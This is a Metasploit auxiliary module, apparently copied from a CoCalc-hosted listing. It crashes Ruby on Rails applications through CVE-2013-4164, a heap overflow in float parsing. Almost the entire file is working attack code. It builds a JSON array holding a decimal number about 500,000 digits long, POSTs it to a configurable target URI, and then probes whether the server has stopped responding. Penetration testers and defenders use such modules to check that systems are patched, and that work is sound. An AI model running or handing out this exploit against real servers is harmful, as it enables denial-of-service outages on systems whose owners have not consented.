CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8
  include Msf::Auxiliary::Dos
9

10
  def initialize(info = {})
11
    super(update_info(info,
12
      'Name'           => 'Ruby on Rails JSON Processor Floating Point Heap Overflow DoS',
13
      'Description'    => %q{
14
        When Ruby attempts to convert a string representation of a large floating point
15
        decimal number to its floating point equivalent, a heap-based buffer overflow
16
        can be triggered. This module has been tested successfully on a Ruby on Rails application
17
        using Ruby version 1.9.3-p448 with WebRick and Thin web servers, where the Rails application
18
        crashes with a segfault error. Other versions of Ruby are reported to be affected.
19
      },
20
      'Author'         =>
21
        [
22
          'Charlie Somerville', # original discoverer
23
          'joev', # bash PoC
24
          'todb', # Metasploit module
25
        ],
26
      'License'        => MSF_LICENSE,
27
      'References'     =>
28
        [
29
          [ 'CVE', '2013-4164' ],
30
          [ 'OSVDB', '100113' ],
31
          [ 'URL', 'https://www.ruby-lang.org/en/news/2013/11/22/ruby-1-9-3-p484-is-released/' ]
32
        ],
33
      'DisclosureDate' => '2013-11-22'))
34
    register_options(
35
      [
36
        OptString.new('TARGETURI', [false, 'The URL of the vulnerable Rails application', '/']),
37
        OptString.new('HTTPVERB', [false, 'The HTTP verb to use', 'POST'])
38
      ])
39
  end
40

41
  def uri
42
    normalize_uri(target_uri.path.to_s)
43
  end
44

45
  def verb
46
    datastore['HTTPVERB'] || 'POST'
47
  end
48

49
  def digit_pattern
50
    @digit_pattern ||= rand(10_000).to_s
51
  end
52

53
  def integer_part
54
    digit_pattern
55
  end
56

57
  def multiplier
58
    (500_000 * (1.0/digit_pattern.size)).to_i
59
  end
60

61
  def fractional_part
62
    digit_pattern * multiplier
63
  end
64

65
  # The evil_float seems to require some repeating element. Maybe
66
  # it's just superstition, but straight up 300_002-lenth random
67
  # numbers don't appear to trigger the vulnerability. Also, these are
68
  # easier to produce, and slightly better than the static "1.1111..."
69
  # for 300,000 decimal places.
70
  def evil_float_string
71
    [integer_part,fractional_part].join('.')
72
  end
73

74
  def run
75
    print_status "Using digit pattern of #{digit_pattern} taken to #{multiplier} places"
76
    sploit = '['
77
    sploit << evil_float_string
78
    sploit << ']'
79
    print_status "Sending DoS HTTP#{datastore['SSL'] ? 'S' : ''} #{verb} request to #{uri}"
80
    target_available = true
81

82
    begin
83
      res = send_request_cgi(
84
        {
85
          'method'  => verb,
86
          'uri'     => uri,
87
          'ctype'   => "application/json",
88
          'data'    => sploit
89
        })
90
    rescue ::Rex::ConnectionRefused
91
      print_error "Unable to connect. (Connection refused)"
92
      target_available = false
93
    rescue ::Rex::HostUnreachable
94
      print_error "Unable to connect. (Host unreachable)"
95
      target_available = false
96
    rescue ::Rex::ConnectionTimeout
97
      print_error "Unable to connect. (Timeout)"
98
      target_available = false
99
    end
100

101
    return unless target_available
102

103
    print_status "Checking availability"
104
    begin
105
      res = send_request_cgi({
106
        'method' => verb,
107
        'uri' => uri,
108
        'ctype' => "application/json",
109
        'data' => Rex::Text.rand_text_alpha(1+rand(64)).to_json
110
      })
111
      if res and res.body and res.body.size > 0
112
        target_available = true
113
      else
114
        print_good "#{peer}#{uri} - DoS appears successful (No useful response from host)"
115
        target_available = false
116
      end
117
    rescue ::Rex::ConnectionError, Errno::ECONNRESET
118
      print_good "DoS appears successful (Host unreachable)"
119
      target_available = false
120
    end
121

122
    return unless target_available
123

124
    print_error "Target is still responsive, DoS was unsuccessful."
125

126
  end
127
end
128

129